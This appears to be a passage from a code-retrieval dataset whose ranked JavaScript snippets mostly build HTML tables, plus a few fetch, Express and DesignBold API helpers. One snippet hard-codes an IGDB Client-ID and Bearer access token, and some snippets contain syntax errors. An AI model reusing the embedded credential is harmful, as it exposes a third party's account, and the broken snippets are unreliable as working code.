table \n let row = tbody.append(\"tr\"); \n // loop through each field in the dataRow and \n // add each value as a table cell (td)\n Object.values(dataRow).forEach( (val) => {\n let cell = row.append(\"td\");\n cell.text(val);\n });\n });\n}", "title": "" }, { "docid": "addfea8b4b9650d9a898a6ff0973fb91", "score": "0.64377177", "text": "function buildTable(tableData){\n // When the page loads, it needs to display the table\n tbody.html(\"\");\n tableData.forEach((ufo) => {\n var row = tbody.append(\"tr\");\n Object.entries(ufo).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n }", "title": "" }, { "docid": "4292d1b2861e161739ee313355fb1843", "score": "0.64363295", "text": "function fillTable(x) {\n //Clear existing data\n d3.select(\"#ufo-table tbody\").selectAll(\"tr\").remove(); \n //Add rows and fill them with data (assuming all data organized the same way)\n x.forEach((ufoSighting) => { \n let row = tbody.append(\"tr\");\n Object.entries(ufoSighting).forEach(([, value]) => {\n let cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "0faba544fedbbfb82511c93dab12baee", "score": "0.6435558", "text": "function addToTable(tableId, name, calories){\n var rowIndex = $(`#${tableId} > tbody > tr`).length\n var checkBoxFood = `<td><input type='checkbox' class='filled-in food-checkbox' id='food-${rowIndex}'/><label for='food-${rowIndex}'></label></td>`;\n var checkBoxExercise = `<td><input type='checkbox' class='filled-in exercise-checkbox' id='exercise-${rowIndex}'/><label for='exercise-${rowIndex}'></label></td>`;\n var deleteButton = \"<td class='btn-floating btn-small waves-effect waves-light indigo lighten-1'><i class='material-icons delete-btn'>delete</i></td>\";\n var itemData = `<tr><td class='edit-cell'>${name}</td><td class='edit-cell'>${calories}</td>${deleteButton}</tr>`;\n var diaryFoodData = `<tr><td>${name}</td><td>${calories}</td>${checkBoxFood}</tr>`;\n var diaryExerciseData = `<tr><td>${name}</td><td>${calories}</td>${checkBoxExercise}</tr>`;\n\n if(tableId.includes(\"diary-food\")){\n $(`#${tableId} > tbody > tr:first`).before(diaryFoodData);\n } else if(tableId.includes(\"diary-exercise\")){\n $(`#${tableId} > tbody > tr:first`).before(diaryExerciseData);\n } else {\n $(`#${tableId} > tbody > tr:first`).before(itemData);\n }\n}", "title": "" }, { "docid": "65dc35019ab15025e5de3d929c017d60", "score": "0.64349025", "text": "function updateTable() {\r\n // Clear the current table contents\r\n resetTable();\r\n\r\n let resultTable = generateTable(\"multTable\");\r\n}", "title": "" }, { "docid": "a347660dc1c40bcf941de32710fd5a5c", "score": "0.6434664", "text": "function addTable(tableParent, data) {\n parentElem = document.getElementById(tableParent);\n var table = document.createElement('table');\n table.className = 'mdl-data-table mdl-js-data-table mdl-data-table--selectable';\n table.id = 'history-table';\n\n var headerTitle = document.createElement('th')\n var headerUrl = document.createElement('th')\n\n headerTitle.className = 'mdl-data-table__cell--non-numeric';\n headerTitle.textContent = \"Title\";\n\n headerUrl.className = 'mdl-data-table__cell--non-numeric';\n headerUrl.textContent = \"URL\";\n\n var tableHead = document.createElement('thead');\n var tableHeaderRow = document.createElement('tr');\n var tableBody = document.createElement('tbody');\n tableBody.id = \"history-table-body\";\n\n tableHeaderRow.appendChild(headerTitle);\n tableHeaderRow.appendChild(headerUrl);\n\n tableHead.appendChild(tableHeaderRow);\n table.appendChild(tableHead);\n\n // Iterate over all history results\n for (var i = 0, ie = data.length; i < ie; ++i) {\n // Create row element\n var tr = document.createElement('tr');\n // Create table data elements\n var tdTitle = document.createElement('td');\n var tdUrl = document.createElement('td');\n\n tdTitle.className = 'mdl-data-table__cell--non-numeric page-title';\n tdTitle.textContent = data[i].title;\n\n tdUrl.className = 'mdl-data-table__cell--non-numeric page-url';\n tdUrl.textContent = data[i].url;\n\n tr.appendChild(tdTitle);\n tr.appendChild(tdUrl);\n tableBody.appendChild(tr);\n }\n\n table.appendChild(tableBody);\n parentElem.appendChild(table);\n componentHandler.upgradeAllRegistered();\n}", "title": "" }, { "docid": "1f3cb6dffcef3923539f8b522e48e107", "score": "0.64338326", "text": "function update(data) {\n\n // Map the data to the new table\n var dateTime = data.map(alien => alien.datetime)\n var city = data.map(alien => alien.city)\n var state = data.map(alien => alien.state)\n var country = data.map(alien => alien.country)\n var shape = data.map(alien => alien.shape)\n var durationMinutes = data.map(alien => alien.durationMinutes)\n var comments = data.map(alien => alien.comments)\n \n var selection = d3.selectAll(\"tbody\").selectAll(\"tr\").data(data);\n\n selection.enter()\n .append(\"tr\")\n .html(\n `<td>${dateTime}</td>\n <td>${city}</td>\n <td>${state}</td>\n <td>${country}</td>\n <td>${shape}</td>\n <td>${durationMinutes}</td>\n <td>${comments}</td>`\n )\n .merge(selection);\n\n selection.exit().remove();\n}", "title": "" }, { "docid": "2c60f22913307acc4ecf327932511174", "score": "0.6433597", "text": "function loadTableData(items){\n const table = document.getElementById('testBody')\n table.innerHTML = ''\n for(item in items){\n let row = table.insertRow();\n let idActividad = row.insertCell(0)\n idActividad.innerHTML = items[item].idActividad\n let descripcion = row.insertCell(1)\n descripcion.innerHTML = items[item].descripcion\n \n }\n \n}", "title": "" }, { "docid": "59de3fad7e71e4355e38addfc32fdfd7", "score": "0.6428214", "text": "createInitialTable()\n {\n // create a 2x2 table\n for (let i = 0; i < 2; i++)\n this.addRow(2)\n }", "title": "" }, { "docid": "e9becba4dddcc59ecdb51ed08cb85c26", "score": "0.6426834", "text": "function generateTable(table, data)\r\n{\r\n\tfor (var i = 0; i < data.length; ++i)\r\n\t{\r\n\t\tlet element = data[i];\r\n\r\n\t\t// add textual elements for each Prescription - name, dosage etc\r\n\t\tlet row = table.insertRow();\r\n\t\tfor (key in element)\r\n\t\t{\r\n\t\t\tlet cell = row.insertCell();\r\n\r\n\t\t\tcell.className = \"summary_td\"\r\n\r\n\t\t\t\tlet text = document.createTextNode(element[key]);\r\n\t\t\tcell.appendChild(text);\r\n\t\t}\r\n\r\n\t\t// add delete button for Prescription element\r\n\t\tlet cell = row.insertCell();\r\n\t\tvar deleteBtn = document.createElement(\"button\");\r\n\t\tdeleteBtn.appendChild(document.createTextNode(\"x\"));\r\n\t\taddEvent(deleteBtn, 'click',\r\n\t\t\tfunction (e)\r\n\t\t{\r\n\t\t\tonDeletePrescription(element);\r\n\t\t}\r\n\t\t);\r\n\r\n\t\tcell.appendChild(deleteBtn);\r\n\t}\r\n}", "title": "" }, { "docid": "d7aa4ab12e704d60cedfec9618db4af9", "score": "0.64267564", "text": "function table () {\ndata.forEach((sighting) => {\n \n var row = tbody.append(\"tr\"); \n Object.entries(sighting).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n});\n}", "title": "" }, { "docid": "a2274be02da99cb990aea6724ae20b5c", "score": "0.6426553", "text": "function addTable(dataset, newH1){\n fetchDataset(dataset)\n .then((file_text) => {\n console.log(file_text)\n let table = generateTable(csvJSON(file_text))\n // insertAfter(table, newH1)\n document.querySelector(\"body\").append(table)\n })\n}", "title": "" }, { "docid": "8774f51d200bd701a9075e4e4bcd72ce", "score": "0.64244324", "text": "function buildTable(data){\n data.forEach(element => {\n var row = tbody.append(\"tr\");\n\n Object.values(element).forEach((val) => {\n var rowval = row.append(\"td\");\n rowval.text(val);\n })\n \n });\n\n}", "title": "" }, { "docid": "4bf5e1e8c3a68d8b1369459bc4f1aa9f", "score": "0.6415931", "text": "addData(row) {\n var model = this.getTableModel();\n model.addRows([this.convert(row)]);\n }", "title": "" }, { "docid": "fc507f46ae25bc160bc5163d2f16c613", "score": "0.6415049", "text": "function createTable() {\n table = document.getElementById('salestable');\n tableRow = document.createElement('tr');\n for( var j = 0; j < hoursOfOp.length; j++){\n var tableHead = document.createElement('th');\n tableHead.setAttribute('id','hours'+[j]);\n tableHead.textContent = hoursOfOp[j];\n tableRow.appendChild(tableHead);\n }\n table.appendChild(tableRow);\n}", "title": "" }, { "docid": "fd3f1e468388837a2e5da2c524c5126f", "score": "0.6401545", "text": "function buildTable(tableData){\n // Dynamically build table\n tableData.forEach(record => {\n var row = tbody.append('tr');\n /*\n row.append('td').text(record['datetime']);\n row.append('td').text(record['city']);\n row.append('td').text(record['state']);\n row.append('td').text(record['country']);\n row.append('td').text(record['shape']);\n row.append('td').text(record['durationMinutes']);\n row.append('td').text(record['comments']);\n */\n Object.values(record).forEach(col => {\n row.append('td').text(col); \n });\n })\n}", "title": "" }, { "docid": "6e1879ff0241b0decc3b532344b359cd", "score": "0.6396918", "text": "function buildTable(data {\r\n //clear out existing data\r\n tbody.html(\"\"); \r\n// Next, loop through each object in the data\r\n// and append a row and cells for each value in the row\r\ndata.forEach((dataRow) => {\r\n //Append a row to the table body\r\n let row = tbody.append(\"tr\");\r\n //Loop through each field in the dataRow and \r\n //add each value as a table cell (td)\r\n Object.values(dataRow).forEach((val)=> {\r\n let cell = row.append(\"td\")\r\n cell.text(val);\r\n }\r\n ); \r\n});3\r\n}", "title": "" }, { "docid": "197961233f9cb8717cbd19b40c3e4c89", "score": "0.6395798", "text": "function refreshTableData() {\n tableQuanLynguonSanPham.clear();\n for (let nguonSanPham of nguonSanPhams) {\n tableQuanLynguonSanPham.row.add([\n nguonSanPham.maNguonSanPham, nguonSanPham.ten, nguonSanPham.soDienThoai, nguonSanPham.diaChi, nguonSanPham\n ]);\n }\n tableQuanLynguonSanPham.draw();\n}", "title": "" }, { "docid": "a0f67c56b16a46fb9037e9099f693575", "score": "0.6393124", "text": "function renderTable() {\n $tbody.innerHTML = \"\";\n for (var i = 0; i < tableData.length; i++) {\n // Get current data location object and fields\n var location = tableData[i];\n console.log(location)\n var fields = Object.keys(location);\n // Create new row in tbody, set index to be i + startingIndex\n var $row = $tbody.insertRow(i);\n for (var j = 0; j < fields.length; j++) {\n \n var field = fields[j];\n var $cell = $row.insertCell(j);\n $cell.innerText = location[field];\n } \n }\n}", "title": "" }, { "docid": "763fbd7ae94512213d115f52833c3c1d", "score": "0.63926023", "text": "function fillTable(data) {\n let parent = $('#applicants > tbody');\n let row = $(\"<tr>\").append(\n $(\"<td>\").text(data.stunum),\n $(\"<td>\").text(data.givenname),\n $(\"<td>\").text(data.familyname),\n $(\"<td>\").text(data.status),\n $(\"<td>\").text(data.year)\n );\n parent.append(row);\n fillCourses(data);\n}", "title": "" }, { "docid": "c42b50f033bebc3bdbca70f12965b3cd", "score": "0.63912904", "text": "function addFishRow(obj){\r\n\t\tvar newRow = table.insertRow(-1); //add a new row to the table use -1 to append to end, 0 for beginning\r\n\t\t\r\n\t\tvar nameCell = newRow.insertCell(0);\r\n\t\t\tnameCell.innerHTML = obj.commonName;\r\n\t\tvar specCell = newRow.insertCell(1);\r\n\t\t\tspecCell.innerHTML = obj.species;\r\n\t\tvar sizeCell = newRow.insertCell(2);\r\n\t\t\tsizeCell.innerHTML = obj.maxSize;\r\n\t\tvar colorCell = newRow.insertCell(3);\r\n\t\t\tcolorCell.innerHTML = obj.colorArray.toString();\r\n\t\tvar diffCell = newRow.insertCell(4);\r\n\t\t\tdiffCell.innerHTML = obj.difficulty;\r\n\t\tvar priceCell = newRow.insertCell(5);\r\n\t\t\tpriceCell.innerHTML = '$' + obj.cost;\r\n\t}", "title": "" }, { "docid": "5ca4e754af4cdb313ed00b706adba779", "score": "0.6387726", "text": "function outputTable() {\ntableData.forEach((Report) => {\n var row = tbody.append(\"tr\");\n Object.entries(Report).forEach(([key, value]) => {\n var cell = tbody.append(\"td\");\n cell.text(value);\n });\n});\n}", "title": "" }, { "docid": "d84176fd0168af348bd5adc1b37630e6", "score": "0.6385573", "text": "function createTable() {\n main = document.getElementById('sales_data');\n table = document.createElement('table');\n var tableHeader = document.createElement('tr');\n for(var i = 0; i < hours.length; i++) {\n var th = document.createElement('th');\n th.textContent = hours[i];\n tableHeader.appendChild(th);\n }\n // creates new th element for the total column header, and appends to row\n var total = document.createElement('th');\n total.textContent = 'Total';\n tableHeader.appendChild(total);\n table.appendChild(tableHeader);\n for(i = 0; i < stores.length; i++){\n row = stores[i].render();\n table.appendChild(row);\n }\n\n createTotalsRow();\n main.appendChild(table);\n}", "title": "" }, { "docid": "4d073b5a38a12a9fed90f7408913adc7", "score": "0.637689", "text": "function insertTableData(list, dataBody) {\n let row = dataBody.insertRow(-1);\n\n let cell1 = row.insertCell(0);\n cell1.innerHTML = list.name;\n\n let cell2 = row.insertCell(1);\n cell2.innerHTML = list.elevation;\n\n let cell3 = row.insertCell(2);\n cell3.innerHTML = list.effort;\n\n let cell4 = row.insertCell(3);\n cell4.innerHTML = list.img;\n\n let cell5 = row.insertCell(4);\n cell5.innerHTML = list.desc;\n\n let cell6 = row.insertCell(5);\n cell6.innerHTML = \"lat: \" + list.coords.lat + \"\\nlng: \" + list.coords.lng;\n}", "title": "" } ]
744c20e98f3d67dc5a0fa1aacd8315f1
Fech the API and send to render function
[ { "docid": "4603728374e715169f2c6f2ed59e13dc", "score": "0.0", "text": "function fetchApi(query, lang) {\n clearSearch();\n if(query) {\n fetch(`https://${lang}.wikipedia.org/w/rest.php/v1/search/title?q=${query}&limit=10`)\n .then(response => response.json())\n .then(data => renderSearch(data, query, lang));\n }\n}", "title": "" } ]
[ { "docid": "a928ae62e0a697aa814e7801a2fa5215", "score": "0.6193911", "text": "function render() {}", "title": "" }, { "docid": "a928ae62e0a697aa814e7801a2fa5215", "score": "0.6193911", "text": "function render() {}", "title": "" }, { "docid": "0cc56a05959a3f87b056ce941d82ac1e", "score": "0.6176381", "text": "async handleSubmit(e) {\n e.preventDefault();\n\n console.log(\"Request for ViewAllPets\");\n\n await PetsApi.getAllPets().then(\n res => {\n this.renderResponse(res);\n }\n );\n }", "title": "" }, { "docid": "bb3a9e0a9ff32d7449d4defa6e224751", "score": "0.6158014", "text": "async _render() {\n }", "title": "" }, { "docid": "b7271950fdcbed3e9d997a31a1be0510", "score": "0.61406314", "text": "function db_api_free_render(e){\n var accessToken = e.parameters.accessToken;\n var version = e.parameters.version;\n var id = e.parameters.id;\n var isCompose = e.parameters.isCompose.toString();\n var d = new Date();\n var n = d.getMilliseconds();\n var name = id + n;\n var url = \"https://api.designbold.com/v3/document/\"+id+\"/render?name=\"+name+\"&type=png&crop_bleed=0&quality=high&pages=picked&mode=download&wm=0&session=&beta=0&picked=%5B1%5D\";\n var headers_opt = {\n \"Authorization\": \"Bearer \" + accessToken\n }\n var result = JSON.parse(accessProtectedResource(url, \"GET\", headers_opt));\n\n if(parseInt(result) !== 403){\n setRenderStatus(e.parameters.id, 1);\n setPurchaseIdParameter(id, 0);\n setPkParameter(e.parameters.id, result.response.pk);\n\n var checkout_info = JSON.parse(db_api_checkout(accessToken, e.parameters.id, e.parameters.version));\n var _medias = checkout_info.response.medias;\n var _total = checkout_info.response.total;\n \n // List media used by design\n if(_medias.length > 0) var media_html = '<br>List items: <br>';\n else var media_html = '';\n\n for(var item in _medias){\n media_html += 'Title : <font color=\"#18b8a5\"><a href=\"' + _medias[item].thumb + '\"><b>'+_medias[item].title+'</b></a><br></font>';\n if(parseInt(_medias[item].price) !== 0){\n media_html += 'Price : <b><font color=\"#18b8a5\">'+_medias[item].price+'</font></b>';\n }\n media_html += '<br>--------------------------------';\n }\n\n var card = CardService.newCardBuilder().setHeader(CardService.newCardHeader().setTitle(\"Design infomation\"))\n .addSection(CardService.newCardSection()\n .addWidget(CardService.newTextParagraph()\n .setText('<font color=\"#18b8a5\">Document is rendering ...</font><br>-------------------<br>'+media_html))\n .addWidget(\n CardService.newTextButton().setText('Check render status')\n .setOnClickAction(\n CardService.newAction().setFunctionName('db_api_check_status_render_free')\n .setParameters({\n pk : result.response.pk,\n id : e.parameters.id,\n accessToken : accessToken,\n version : e.parameters.version,\n isCompose : isCompose,\n }))\n ))\n .build();\n\n var nav = CardService.newNavigation().updateCard(card);\n return CardService.newActionResponseBuilder()\n .setNavigation(nav)\n .build();\n }else{\n return layout_notify_blank_design();\n }\n}", "title": "" }, { "docid": "55fe62ad622b0629df806d2551213bc2", "score": "0.6121801", "text": "function handleRender(req, res) { /* ... */ }", "title": "" }, { "docid": "cdcabe99d8e181be4df14fc2b3fdf88a", "score": "0.6096768", "text": "function render() {\n\t\tlet midRes;\n\t\tlet resArr = [];\n\n\t\t// check if answer has more than 1 word - skip it\n\t\twhile (!resArr.length || resArr.length !== 1 || resArr[0].length > 6) {\n\t\t\tmidRes = req();\n\t\t\tresArr = midRes[0].answer.split(' ');\n\t\t}\n\n\t\t// get params from response\n\t\tconst question = midRes[0].question;\n\t\tanswer = midRes[0].answer;\n\t\tconst id = midRes[0].id;\n\t\tconst category = midRes[0].category.title;\n\t\tnewID = answer.length;\n\n\t\t// push question with next params\n\t\tpush(question, id, answer, category);\n\t}", "title": "" }, { "docid": "ce93e60513953e9b5e1a6bc4d9606a7f", "score": "0.60828495", "text": "function render() {\n // TODO\n}", "title": "" }, { "docid": "4ec7f06cde999a57efebbf8c3950206c", "score": "0.60431373", "text": "async handleSubmit(e) {\n e.preventDefault();\n\n console.log(\"Request for ViewSheltersAve\");\n\n await PetsApi.getSheltersAve().then(\n res => {\n this.renderResponse(res);\n }\n );\n }", "title": "" }, { "docid": "cd4956edd3e50f29f2d717d991052ae5", "score": "0.603262", "text": "Render() {}", "title": "" }, { "docid": "822164dfa28fe1db3bd843b3ae2448ed", "score": "0.6032435", "text": "async handleSubmit(e) {\n e.preventDefault();\n\n console.log(\"Request for ViewPickupTimes\");\n\n await PetsApi.getAnimalPickups().then(\n res => {\n this.renderResponse(res);\n }\n );\n }", "title": "" }, { "docid": "f92dde18ca4a5ea73f60935ab9f0a51f", "score": "0.60162526", "text": "function indexHandler(req, res) {\nlet url = 'https://thesimpsonsquoteapi.glitch.me/quotes?count=10'\nsuperagent.get(url).set('User-Agent', '1.0').then( result => {\n res.render('index', {char: result.body})\n})\n}", "title": "" }, { "docid": "2d4dc1a9b33de7eda70d42c9957b015b", "score": "0.5941677", "text": "async function sendApiRequest(){\n let response = await fetch(`https://www.boredapi.com/api/activity/`);\n console.log(response)\n let data = await response.json()\n console.log(data)\n useApiData(data)\n}", "title": "" }, { "docid": "31dd789e00041e275153f7be88681f6d", "score": "0.5937684", "text": "fetchFertilizer(args){\n //const API_URL = `http://35.200.155.144:8000/fertilizer`\n const API_URL = `http://localhost:8000/fertilizer`\n return ezFetch.post(API_URL,args)\n }", "title": "" }, { "docid": "7a4c0ad7508aa1f060fdb350a394acff", "score": "0.5927013", "text": "async callAPI() {\r\n try {\r\n let response = await fetch(this.props.backEndURL || \"http://localhost:3002/\");\r\n let responseJSON = await response.json();\r\n this.setState({ items: responseJSON.items })\r\n } catch (error) {\r\n console.error(error);\r\n }\r\n }", "title": "" }, { "docid": "db3ca771ef032df14a0dc1aac243d88b", "score": "0.59244794", "text": "process({ action }, dispatch, done) {\n const requestData = {\n title: action.payload.title,\n text: action.payload.text,\n }\n invokeService({\n serviceUrl: action.payload.id ? `/api/${action.payload.id}`: '/api/',\n method: 'POST',\n requestData,\n })\n .then(() => {\n dispatch(Actions.fetchBlogsData())\n })\n .catch((err) => {\n console.error(err) // log since could be render err\n })\n .then(() => done())\n }", "title": "" }, { "docid": "da36ff7b427161cdc82c7f3b1ff3b187", "score": "0.59115285", "text": "function grabData(){\n fetch('http://localhost:3000/pups')\n .then(resp => resp.json())\n .then(renderPups)\n }", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.59037405", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.59037405", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.59037405", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.59037405", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.59037405", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.59037405", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.59037405", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.59037405", "text": "render() {}", "title": "" }, { "docid": "70b0e848d9e545c0f378704447249476", "score": "0.58932376", "text": "function processDataForFrontEnd(req, res) {\n const baseURL = ''; // Enter the URL for the data you would like to retrieve here\n\n // Your Fetch API call starts here\n // Note that at no point do you \"return\" anything from this function -\n // it instead handles returning data to your front end at line 34.\n fetch(baseURL)\n .then((r) => r.json())\n .then((data) => {\n console.log(data);\n res.send({ data: data }); // here's where we return data to the front end\n })\n .catch((err) => {\n console.log(err);\n res.redirect('/error');\n });\n}", "title": "" }, { "docid": "4081ecaa02b99aba0df32518a752a429", "score": "0.5891306", "text": "async function callAPI() {\n\t\tconst res = await fetch(\"http://localhost:9000/postobjs\");\n\t\tres.json().then((res) => getPostDetails(res));\n\t}", "title": "" }, { "docid": "dd00d9f072709822a9b5226f4290e8d3", "score": "0.5887714", "text": "function callApi() {\n\n}", "title": "" }, { "docid": "702d51083640f1cc6d269b939a06550c", "score": "0.58626753", "text": "function apiRequestComing(sortBy, filter, res) {\r\n axios({\r\n url: \"https://api.igdb.com/v4/games\",\r\n method: \"POST\",\r\n headers: {\r\n \"Accept\": \"application/json\",\r\n \"Client-ID\": \"5py1g59uv8cdxn70ejawwm0vz6k7fk\",\r\n \"Authorization\": \"Bearer ycxnh3depzhn9wfz9he4dkggahig81\",\r\n },\r\n data: \"fields total_rating,name,rating,cover.image_id,cover,platforms,platforms.name,platforms.abbreviation,genres,genres.name,genres.slug,first_release_date; limit 500; sort \" + sortBy + \"; where first_release_date >\" + today + \" & cover.image_id != null & first_release_date != null & genres != null & platforms.name != null & platforms != null\" + filter + \";\"\r\n })\r\n .then(response => {\r\n console.log(response.data);\r\n res.render(\"index\", {\r\n results: response.data,\r\n title: \"COMING SOON\",\r\n cssSrc: \"css/styles.css\",\r\n cssResponsive: \"css/styles-responsive.css\",\r\n jsGameFunc: \"js/games-functions.js\",\r\n jsGamesOrderMenu: \"js/games-order-menu.js\",\r\n jsSrc: \"js/index.js\",\r\n jsSidebar: \"js/sidebar-scroll.js\",\r\n jsAutoSearch: \"js/autocomplete.js\"\r\n });\r\n })\r\n .catch(err => {\r\n console.error(err);\r\n res.render(\"404\", {\r\n jsContactAbout: \"js/contact-about.js\",\r\n cssStyles: \"css/styles.css\",\r\n cssContactAbout404Responsive: \"css/contact-about-404-responsive.css\",\r\n cssContactAbout404: \"css/contact-about-404.css\"\r\n });\r\n });\r\n}", "title": "" }, { "docid": "f9beb5ece83caa4a0e5be2e6f2939cb6", "score": "0.5840457", "text": "rerender() {\n let url_ = this.baseUrl + \"/v1/DisplayValues/rerender\";\n url_ = url_.replace(/[?&]$/, \"\");\n let options_ = {\n method: \"POST\",\n headers: {\n \"Accept\": \"application/json\"\n }\n };\n return this.transformOptions(options_).then(transformedOptions_ => {\n return this.http.fetch(url_, transformedOptions_);\n }).then((_response) => {\n return this.processRerender(_response);\n });\n }", "title": "" }, { "docid": "c6392ecfa74eff22f6e4293e67e6029a", "score": "0.58247316", "text": "async function handleAPICall(e) {\n const dummyUrl =\n \"https%3A%2F%2Ftwitter.com%2Ffchollet%2Fstatus%2F1044465230317645824\";\n let fetchUrl = \"\";\n if (e[0] != \"h\") {\n fetchUrl = dummyUrl;\n } else {\n fetchUrl = e;\n }\n setIsLoading(true);\n const response = await fetchAPI(fetchUrl);\n setIsLoading(false);\n setData(response);\n }", "title": "" }, { "docid": "42cbee4dd746dcfeb8a3a088a8816c15", "score": "0.58094573", "text": "async function apiCall()\r\n {\r\ncontent.innerHTML=\"\";\r\n var data= await (await fetch(\"https://game-of-thrones-quotes.herokuapp.com/v1/houses\")).json();\r\n return handleResponse(data); \r\n}", "title": "" }, { "docid": "fc1ca46bd5c2c3be322feefedf421af9", "score": "0.58053625", "text": "callRes() {\n this.res.status(this.view.res.status).send(this.view.res);\n }", "title": "" }, { "docid": "b3e03e4ca33748d1787cd51bd54019da", "score": "0.5794501", "text": "callApi () {\n this.film( this.pushText );\n this.telefilm( this.pushText );\n }", "title": "" }, { "docid": "1cf9af6ddb35c6054c7b6b5a5f100f61", "score": "0.57887405", "text": "async show({ params, request, response, view }) {}", "title": "" }, { "docid": "1cf9af6ddb35c6054c7b6b5a5f100f61", "score": "0.57887405", "text": "async show({ params, request, response, view }) {}", "title": "" }, { "docid": "51b883c56986d124164d8174696bd7ff", "score": "0.5775842", "text": "function db_api_render_premium(e){\n var accessToken = e.parameters.accessToken;\n var version = e.parameters.version;\n var isCompose = e.parameters.isCompose.toString();\n var id = e.parameters.id;\n var d = new Date();\n var n = d.getMilliseconds();\n var name = id + n;\n var url = \"https://api.designbold.com/v3/document/\"+id+\"/render?name=\"+name+\"&type=png&crop_bleed=0&quality=high&pages=picked&mode=download&wm=0&session=&beta=0&picked=%5B1%5D\";\n var headers_opt = {\n \"Authorization\": \"Bearer \" + accessToken\n }\n\n setRenderStatus(e.parameters.id, 1);\n var res_payout = db_api_payout(accessToken, id, version);\n if(\"response\" in res_payout && \"purchase_id\" in res_payout.response){\n setPurchaseIdParameter(id, res_payout.response.purchase_id);\n }\n var result = JSON.parse(accessProtectedResource(url, \"GET\", headers_opt));\n\n if(result.response.pk !== ''){\n // Set pk parameter with document id\n setPkParameter(e.parameters.id, result.response.pk);\n \n var checkout_info = JSON.parse(db_api_checkout(accessToken, e.parameters.id, e.parameters.version));\n var _medias = checkout_info.response.medias;\n var _total = checkout_info.response.total;\n var accountUser = JSON.parse(db_api_get_info_user(accessToken));\n var your_budget = parseInt(accountUser.response.account.budget);\n var your_budget_bonus = parseInt(accountUser.response.account.budget_bonus);\n var total_budget = your_budget + your_budget_bonus;\n var estimate = parseInt(_total);\n\n // List media used by design\n if(_medias.length > 0) var media_html = '<br>List items: <br>';\n else var media_html = '';\n\n for(var item in _medias){\n media_html += 'Title : <font color=\"#18b8a5\"><a href=\"' + _medias[item].thumb + '\"><b>'+_medias[item].title+'</b></a><br></font>';\n if(parseInt(_medias[item].price) !== 0){\n media_html += 'Price : <b><font color=\"#18b8a5\">'+_medias[item].price+'</font></b>';\n }\n media_html += '<br>--------------------------------';\n }\n\n var htmlTemplate = '<font color=\"#18b8a5\"><b>Design Premium </b></font><br>';\n if(estimate > 1){\n htmlTemplate += 'Pay: <b><font color=\"#18b8a5\">' + estimate +'</font></b> Coins<br>';\n }else if(estimate == 1){\n htmlTemplate += 'Pay: <b><font color=\"#18b8a5\">' + estimate +'</font></b> Coin <br>';\n }\n\n if(your_budget > 1){\n htmlTemplate += 'Budget: <b><font color=\"#18b8a5\">' + your_budget +'</font></b> Coins<br>';\n }else if(your_budget == 1){\n htmlTemplate += 'Budget: <b><font color=\"#18b8a5\">' + your_budget +'</font></b> Coin <br>';\n }\n\n if(your_budget_bonus > 1){\n htmlTemplate += 'Budget bonus: <b><font color=\"#18b8a5\">' + your_budget_bonus +'</font></b> Coins<br>';\n }else if(your_budget_bonus == 1){\n htmlTemplate += 'Budget bonus: <b><font color=\"#18b8a5\">' + your_budget_bonus +'</font></b> Coin <br>';\n }\n htmlTemplate += media_html;\n\n var card = CardService.newCardBuilder().setHeader(CardService.newCardHeader().setTitle(\"Design infomation\"))\n .addSection(CardService.newCardSection()\n .addWidget(CardService.newTextParagraph()\n .setText('<font color=\"#18b8a5\">Document is rendering ...</font><br>-------------------<br>'))\n .addWidget(CardService.newTextParagraph()\n .setText(htmlTemplate))\n .addWidget(\n CardService.newTextButton().setText('Check render status')\n .setOnClickAction(\n CardService.newAction().setFunctionName('db_api_check_status_render_premium')\n .setParameters({\n pk : result.response.pk,\n id : e.parameters.id,\n accessToken : accessToken,\n version : e.parameters.version,\n isCompose : isCompose,\n })))\n )\n .build();\n\n var nav = CardService.newNavigation().updateCard(card);\n return CardService.newActionResponseBuilder()\n .setNavigation(nav)\n .build();\n }else{\n Console.log('Render error !');\n }\n}", "title": "" }, { "docid": "d7706c7f3da140f1ce53460f40555599", "score": "0.57589674", "text": "function getToys() {\n\n configObj = {\n method: \"GET\",\n headers: {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\"\n }\n }\n\n \n fetch( BASE_URL, configObj)\n .then(function(response) {\n return response.json();\n })\n .then( displayToys ); // this will render the toys\n\n} // End of getToys() function", "title": "" }, { "docid": "505d865e2864db3415ea92da62b69f6d", "score": "0.57549566", "text": "function main(){\n\n // rendering all the post \n JSON.parse( getData(\"getposts\") ).forEach(( data,count ) => {\n renderAllPost( data,count + 1 );\n });\n \n // rendering all the Comments\n JSON.parse( getData(\"getcomments\") ).forEach(( data,count ) => {\n renderAllComments( data,count + 1 );\n });\n\n // rendering all the users\n if( N(\"#users\") ) {\n JSON.parse( getData(\"getusers\") ).forEach(( data,count ) => {\n renderAllUser( data,count + 1 );\n });\n }\n\n\n}", "title": "" }, { "docid": "05905cd74599adb6f9c989a9221a8b85", "score": "0.5752527", "text": "static mainPathRender(response, currUrl) {\n if (response.constructor === Array) {\n Api.renderArray(response, undefined, undefined, currUrl)\n } else if (response.constructor === Object) {\n var results\n if (response.results != undefined) {\n results = response.results\n Api.renderArray(results, response.next, response.previous, currUrl)\n } else {\n Api.renderObject(response)\n }\n }\n }", "title": "" }, { "docid": "745f74d884fa22050ac1f61e8b6dddc7", "score": "0.5738802", "text": "async render(data, ctx) {\n return renderView(data, ctx);\n }", "title": "" }, { "docid": "b00c9d67a9af487eb9b97e9933dd5de3", "score": "0.57155573", "text": "function request() {\n let remote = 'http://localhost:9000';\n\n //Specific the correct page, in this case it is /template\n let destination = remote + '/template';\n let headers = { 'Accept': 'application/json', 'Content-Type': 'application/json'};\n \n //Add your data to send back here\n let data = {word: \"bird\", otherField: 0, val: true};\n\n fetch(destination, 